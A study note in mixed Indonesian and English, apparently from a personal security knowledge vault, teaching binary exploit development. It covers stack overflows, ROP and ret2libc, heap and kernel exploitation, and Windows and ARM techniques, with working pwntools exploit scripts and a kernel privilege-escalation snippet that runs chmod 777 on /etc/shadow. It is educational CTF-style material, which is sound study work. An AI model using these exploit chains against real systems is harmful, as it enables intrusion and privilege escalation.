Ringkasan & Hubungan ke Vault

Exploit development adalah jembatan antara vulnerability discovery (fuzzing/RE) dan red team operations (C2, lateral movement). Catatan ini melengkapi fuzzing-vulnerability-research dengan fase post-finding: dari crash → kontrol RIP → arbitrary code execution. Berbeda dengan malware-analysis-reverse-engineering-playbook yang fokus analysis, catatan ini fokus pembangunan exploit.

Domain: Cyber Security / Exploit Development Tags: exploit-dev rop heap kernel-exploit pwn binary-exploitation

Daftar Isi

  1. Stack Buffer Overflow
  2. ROP — Return-Oriented Programming
  3. Bypassing Protections (ASLR, NX, Stack Canary)
  4. Heap Exploitation
  5. Kernel Exploitation
  6. Windows Exploit Development
  7. ARM Exploit Development
  8. Exploit Workflow & Methodology
  9. Koneksi ke Vault

1. Stack Buffer Overflow

1.1 Stack Layout

Stack (high → low address)
┌─────────────────────────┐ 0x7fffffffffff
│       Arguments         │
├─────────────────────────┤
│   Return Address (RIP)  │ ← Attacker overwrites this
├─────────────────────────┤
│   Saved RBP            │
├─────────────────────────┤
│   Local Variable 1      │ ← buf[64]
│   Local Variable 2      │
│   ...                   │
├─────────────────────────┤
│   Stack Frame           │
└─────────────────────────┘ 0x7fffffffe000

1.2 Simple Stack Overflow (ret2win)

// Vulnerable program
#include <stdio.h>
#include <string.h>
 
void win() {
    system("/bin/sh");  // Target function
}
 
void vulnerable() {
    char buf[64];
    gets(buf);  // TRV-1: no bounds check
}
 
int main() {
    vulnerable();
    return 0;
}
# Exploit — simple ret2win
from pwn import *
 
p = process('./vuln')
# Offset: 64 (buf) + 8 (saved RBP) = 72
offset = 72
payload = b'A' * offset + p64(elf.symbols['win'])
p.sendline(payload)
p.interactive()

1.3 Finding Offset — Pattern

# Generate cyclic pattern
gef➤  pattern create 200
AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAAZAAAbAAAcAAdAAeAAfAAAgAAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAz
 
# Crash → note RIP value
# Pattern search
gef➤  pattern search $rip
[+] Searching for '0x4141414141414141'
[+] Found at offset: 72

2. ROP — Return-Oriented Programming

2.1 Kenapa ROP?

Masalah: NX/DEP (Non-Executable Stack) mencegah lo mengeksekusi shellcode di stack.

Solusi: ROP — reuse gadget (sequences instruksi yang diakhiri ret) dari binary/library yang executable. Setiap gadget melakukan satu operasi kecil, chain-nya diatur dari stack.

Stack (RIP-controlled):
┌────────────────────┐
│ pop rdi; ret      │ → 0x400123
├────────────────────┤
│ 0xdeadbeef        │ → nilai untuk rdi
├────────────────────┤
│ system()          │ → 0x7ffff7xxxx
├────────────────────┤
│ exit()            │ → 0x7ffff7yyyy
└────────────────────┘

2.2 Finding Gadgets

# ROPgadget — find gadgets in binary/library
ROPgadget --binary vuln | grep "pop rdi"
0x0000000000400123 : pop rdi ; ret
 
# One_gadget — find execve("/bin/sh") gadgets in libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe6c7e execve("/bin/sh", r15, r12)
0xe6c81 execve("/bin/sh", r15, rdx)
0xe6c84 execve("/bin/sh", rsi, rdx)
 
# ropper — alternative
ropper --file vuln --search "pop rdi"

2.3 Building a ROP Chain

from pwn import *
 
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
# Gadgets
pop_rdi = 0x401283  # pop rdi; ret
ret = 0x401016      # ret (stack alignment!)
 
def exploit(leak):
    """ROP chain: execve('/bin/sh', NULL, NULL)"""
 
    # Find libc base from leak
    libc.address = leak - libc.symbols['puts']
 
    payload = b'A' * 72
    # Stack alignment (16-byte required by movaps)
    payload += p64(ret)
    # system("/bin/sh")
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(libc.symbols['system'])
 
    return payload

2.4 Ret2libc — Full Chain

Phase 1: Leak libc address
  puts(puts@GOT) → leak → compute libc base

Phase 2: ROP to shell
  system("/bin/sh")
# Phase 1: Leak
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)  # Return to main for phase 2
 
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))

2.5 SROP (Sigreturn-Oriented Programming)

Teknik untuk setting semua register sekaligus via sigreturn syscall:

# SROP: set all registers via sigreturn frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
 
payload = b'A' * offset
payload += p64(syscall_inst)   # syscall
payload += bytes(frame)        # SigreturnFrame

3. Bypassing Protections

3.1 Protection Mapping

ProtectionRoleBypass Technique
NX/DEPStack non-executableROP, ret2libc
ASLRRandomize base addressesInformation leak
Stack CanaryDetect stack overflowLeak canary, overwrite before check
PIERandomize binary basePartial overwrite, leak
RELROProtect GOTPartial overwrite, off-by-one
CFIControl-flow integrityData-only attack

3.2 Bypass ASLR

# Technique: partial overwrite
# Return address overwrite only lower 1-2 bytes
# Since ASLR randomizes HIGH bits, lower bits fixed
 
# Example: partial overwrite of puts@GOT
# GOT_puts original: 0x7f1234567890
# Overwrite:          0x7f12345678**??** (2 bytes partial)

3.3 Bypass Stack Canary

// Canary check
void vulnerable() {
    char buf[64];
    // Canary = *(fs:0x28)
    memcpy(buf, user_input, 128);  // overflow
    // Check: canary == *(fs:0x28)? → crash if mismatch
}

If lo punya format string vulnerability + overflow:

  1. Leak canary via format string (%13$p)
  2. Overflow dengan canary value yang benar
  3. Padding → ROP chain

3.4 Bypass RELRO (Partial vs Full)

RELRO LevelGOT ProtectionBypass
No RELROGOT writableGOT overwrite
Partial RELROGOT writable, sections read-onlyStill writable!
Full RELROGOT read-onlyNeed: _IO_file_jump overwrite, __free_hook, __malloc_hook

4. Heap Exploitation

4.1 Heap Layout

┌──────────────────────────────────────┐
│         glibc Heap Layout             │
├──────────────────────────────────────┤
│  Top Chunk (wilderness)              │
├──────────────────────────────────────┤
│  Tcache (per-thread cache)           │
│  ┌─────┬─────┬─────┬─────┬─────┐    │
│  │ 0x20│ 0x30│ 0x40│ 0x50│ ... │    │
│  └─────┴─────┴─────┴─────┴─────┘    │
├──────────────────────────────────────┤
│  Fastbins (LIFO, single-linked)      │
├──────────────────────────────────────┤
│  Small Bins (FIFO, doubly-linked)    │
├──────────────────────────────────────┤
│  Unsorted Bin                        │
├──────────────────────────────────────┤
│  Allocated Chunks                    │
│  ┌──────────┬──────────┬──────────┐  │
│  │ chunk A  │ chunk B  │ chunk C  │  │
│  │ (64B)    │ (128B)   │ (64B)    │  │
│  └──────────┴──────────┴──────────┘  │
└──────────────────────────────────────┘

4.2 Chunk Structure

┌────────────────────────────┐
│  prev_size (8B)            │ ← only if previous chunk free
├────────────────────────────┤
│  size (8B)                 │ ← chunk size + flags (P/M/A)
│  [P=prev in use, M=mmap,   │
│   A=non-main-arena]        │
├────────────────────────────┤
│  user data                  │ ← returned by malloc()
│  (fd/bk jika free)          │
│  ...                        │
└────────────────────────────┘

4.3 Use-After-Free (UAF)

char *buf = malloc(64);
free(buf);
// buf is dangling pointer!
strcpy(buf, "attacker data");  // WRITE to freed chunk
# UAF exploit tcache poisoning
from pwn import *
 
# Allocate 3 chunks
a = malloc(0x28)  # chunk A
b = malloc(0x28)  # chunk B
c = malloc(0x28)  # chunk C
 
# Free A → masuk tcache (0x30 bin)
free(a)
# Free B → masuk tcache (0x30 bin)
free(b)
 
# UAF: write to freed A
# Since A is in tcache, fd pointer = next chunk (B or NULL)
write(a, p64(target_addr))  # Poison fd → point to target
 
# Now: malloc returns A (head of tcache)
x = malloc(0x28)  # returns A's address
y = malloc(0x28)  # returns B's address (or whatever fd points to)
z = malloc(0x28)  # returns TARGET_ADDR! Arbitrary write!
write(z, p64(shell_addr))

4.4 Key Heap Attacks per glibc Version

glibcAttackNotes
< 2.26Fastbin attack, House of ForceNo tcache
2.26Tcache poisoningTcache introduced
2.31Tcache poisoning + double freeTcache double-free check bypass
2.32Safe linking (pointer masking)Pointer XOR dengan >>12
2.34Removed hooks!No __free_hook/__malloc_hook — need FSOP
2.37+FSOP + House of AppleFile stream oriented

4.5 House of Force (Legacy)

# Overwrite top chunk size → malloc return arbitrary address
# glibc < 2.29
top_chunk_size = 0xffffffffffffffff  # Max size
write(vuln, p64(top_chunk_size))
 
# Next malloc: allocate from top chunk → return near arbitrary address
target = 0x7ffff7xxxxxx
size_to_target = target - (current_top + 0x20)
malloc(size_to_target)
 
# Now next malloc returns target address!

5. Kernel Exploitation

5.1 Kernel vs Userspace Exploit

AspectUserspaceKernel
PrivilegeUser (ring 3)Root (ring 0 → ring 3 escape)
MemoryVirtual onlyPhysical + virtual
SyscallTrigger bug via syscall interfaceBug inside kernel code
PayloadCode executionPrivilege escalation (root shell)
MitigationASLR, NX, canaryKASLR, SMEP, SMAP, KPTI

5.2 Kernel Exploit Vectors

Kernel Attack Surface
├── Syscall handler bug (buffer overflow, UAF, OOB)
├── ioctl driver bug (device driver)
├── Network stack bug (complex parsers)
├── File system bug (mount, filesystem operations)
├── BPF bug (eBPF verifier confusion)
├── Driver vulnerability (GPU, Wi-Fi, Bluetooth)
└── Hardware bug (Rowhammer, Spectre, Meltdown)

5.3 Classic: modprobe_path (Privesc)

// modprobe_path — writable string in kernel memory
// Pointer to binary executed when unknown file type is executed
 
// 1. Get kernel address of modprobe_path
uint64_t modprobe_path = find_sym("modprobe_path");
 
// 2. Overwrite with path to our script
char *script = "/tmp/hack.sh";
kernel_write(modprobe_path, script);
 
// 3. Create script
system("echo '#!/bin/sh\nchmod 777 /etc/shadow' > /tmp/hack.sh");
system("chmod +x /tmp/hack.sh");
 
// 4. Execute unknown file type → kernel executes modprobe_path
system("echo '\\xff\\xff\\xff' > /tmp/test.bin && chmod +x /tmp/test.bin");
system("/tmp/test.bin");

5.4 Dirty Pipe (CVE-2022-0847)

# Dirty Pipe: overwrite read-only files via pipe buffer
# Stable kernel 5.8 - 5.16.11, 5.15.25-5.15.25
 
# 1. Create pipe
# 2. Fill pipe with data from target file (e.g., /etc/passwd)
# 3. Manipulate pipe buffer flags → splice() bypasses page-cache
# 4. Overwrite /etc/passwd → remove root password

5.5 Kernel Mitigations

MitigationBypass
KASLRInformation leak (dmesg, /proc/kallsyms), timing side-channel
SMEPKernel doesn’t execute userspace code → need ROP in kernel
SMAPKernel doesn’t access userspace data → pin_user_pages()
KPTIKernel/User page table isolation → meltdown-style leak gak work
CFI (kCFI)Control flow integrity in kernel → data-only attack

6. Windows Exploit Development

6.1 Windows vs Linux Exploit Differences

AspectLinuxWindows
Syscallint 0x80 / sysentersyscall via ntdll
Librarylibc (open source)ntdll, kernel32 (closed source)
Shellcode/bin/shWinExec, CreateProcess
ASLRLow entropy (old)High entropy (per-boot)
CanaryStack guard/GS compiler option
SEH❌ No✅ Structured Exception Handling
DEPNX bit/NXCOMPAT

6.2 SEH Overflow

# Windows SEH overwrite exploit
# If program uses try/except, overwrite Exception Handler
 
payload = b'A' * offset
payload += p32(next_seh)  # Address of "pop pop ret" gadget
payload += p32(shell_addr)  # Address of shellcode
payload += b'\x90' * 8      # NOP sled
payload += shellcode

6.3 Windows Heap Spray

# Classic IE exploitation: spray heap with JIT spray
# Shellcode encoded in JavaScript float arrays
 
javascript = """
var shellcode = [];
for (var i = 0; i < 0x1000; i++) {
    // Each float = 4 bytes of instructions
    shellcode[i] = 0x12345678 + i;  // JIT compile → executable
}
// Spray across 200MB heap
var spray = [];
for (var i = 0; i < 500; i++) {
    spray[i] = document.createElement('div');
    spray[i].className = String.fromCharCode.apply(null, shellcode);
}
"""

7. ARM Exploit Development

7.1 ARM vs x86-64

Aspectx86-64ARM64 (AArch64)
Register16 (rax-rip)31 (x0-x30)
Returnretret (x30 as link register)
Syscallsyscall (eax)svc #0 (x8)
GadgetsRich (vast ecosystem)Limited (fewer gadgets)
Stack layoutSimilar16-byte alignment
ShellcodeStandardNeed ARM shellcode

7.2 ARM64 Gadget Chain

# ARM64 ROP chain: execve("/bin/sh", NULL, NULL)
# Registers: x0=arg1, x1=arg2, x2=arg3, x8=syscall_nr
 
payload = b'A' * offset
payload += p64(gadget_load_x0)  # ldr x0, [sp, #offset]; ret
payload += p64(bin_sh_addr)      # x0 = "/bin/sh"
payload += p64(gadget_load_x1)  # mov x1, #0; ret
payload += p64(gadget_load_x2)  # mov x2, #0; ret
payload += p64(gadget_mov_x8_221)  # x8 = 221 (execve sys_nr on ARM64)
payload += p64(svc_addr)  # svc #0

8. Exploit Workflow & Methodology

8.1 Standard Exploit Development Flow

1. RECON
   ├── File type & architecture (file vuln)
   ├── Security mitigations (checksec)
   ├── Reversing binary (Ghidra/IDA)
   └── Identify entry points (fgets, gets, read, memcpy, strcpy)

2. TRIGGER
   ├── Confirm crash (GDB)
   ├── Find offset (cyclic pattern)
   └── Control RIP/EIP
        ↓

3. BYPASS
   ├── NX → ROP
   ├── ASLR → Information leak
   ├── Canary → Leak or thread-local overwrite
   ├── PIE → Partial overwrite
   └── RELRO → Full RELRO? → __free_hook / FSOP
        ↓

4. BUILD
   ├── Find gadgets (ROPgadget/ropper)
   ├── Build chain
   ├── Get shell or arbitrary read/write
   └── Test locally → Test remote
        ↓

5. ESCALATE (if needed)
   ├── Local → Root (kernel exploit)
   └── Remote shell → Pivot internal network

8.2 Essential pwntools Skeleton

#!/usr/bin/env python3
from pwn import *
 
# Config
context.arch = 'amd64'
context.log_level = 'debug'
 
# Target
if args.REMOTE:
    p = remote('target.com', 1337)
elif args.GDB:
    p = gdb.debug('./vuln', '''
    b *vulnerable+32
    continue
    ''')
else:
    p = process('./vuln')
 
# ELF
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
 
# Gadgets
pop_rdi = 0x401283
ret = 0x401016
 
# Exploit
payload = b'A' * 72
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
 
p.sendline(payload)
 
# Leak
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f"libc leak: {hex(leak)}")
 
libc.address = leak - libc.symbols['puts']
 
# Phase 2
payload2 = b'A' * 72
payload2 += p64(ret)  # stack alignment
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
payload2 += p64(libc.symbols['system'])
 
p.sendline(payload2)
p.interactive()

8.3 CTF vs Real-World Exploitation

AspectCTFReal-World
TargetSimple, one vulnerabilityComplex, chained
MitigationsOften partial (no ASLR, no PIE)All mitigations enabled
BinaryDesigned to be exploitedAccidental (defended)
ShellcodeWork first timeAnti-virus kill it
NetworkDirect connectionSandbox, WAF, IDS
TimeWin in hoursWin in months
Stability”Works on my machine”Must be stable (no crash)

9. Koneksi ke Vault

NoteHubungan
fuzzing-vulnerability-researchFuzzing → crash → exploit development pipeline
malware-analysis-reverse-engineering-playbookRE workflow identifies vulnerabilities to exploit
hardware-hacking-reARM/MIPS exploitation, firmware extraction
web-hacking-exploitationWeb-based RCE → local privilege escalation
kernel-forensicsMemory forensics of exploited systems
automotive-can-bus-securityCAN bus exploitation → ECU compromise
ics-scada-securityPLC exploitation via Modbus overflow
c2-server-fixPayload delivery after initial code execution

📚 Referensi

  1. “The Shellcoder’s Handbook” — Anley, Heasman, Linder, Richarte
  2. “Hacking: The Art of Exploitation” — Jon Erickson
  3. “A Guide to Kernel Exploitation” — Perla, Oldani
  4. “Practical Binary Analysis” — Dennis Andriesse
  5. pwntools documentation: https://docs.pwntools.com/
  6. Nightmare (CTF exploit course): https://github.com/guyinatuxedo/nightmare
  7. ROP Emporium: https://ropemporium.com/
  8. Kernel exploit technique writeups: https://www.kernel-exploits.com/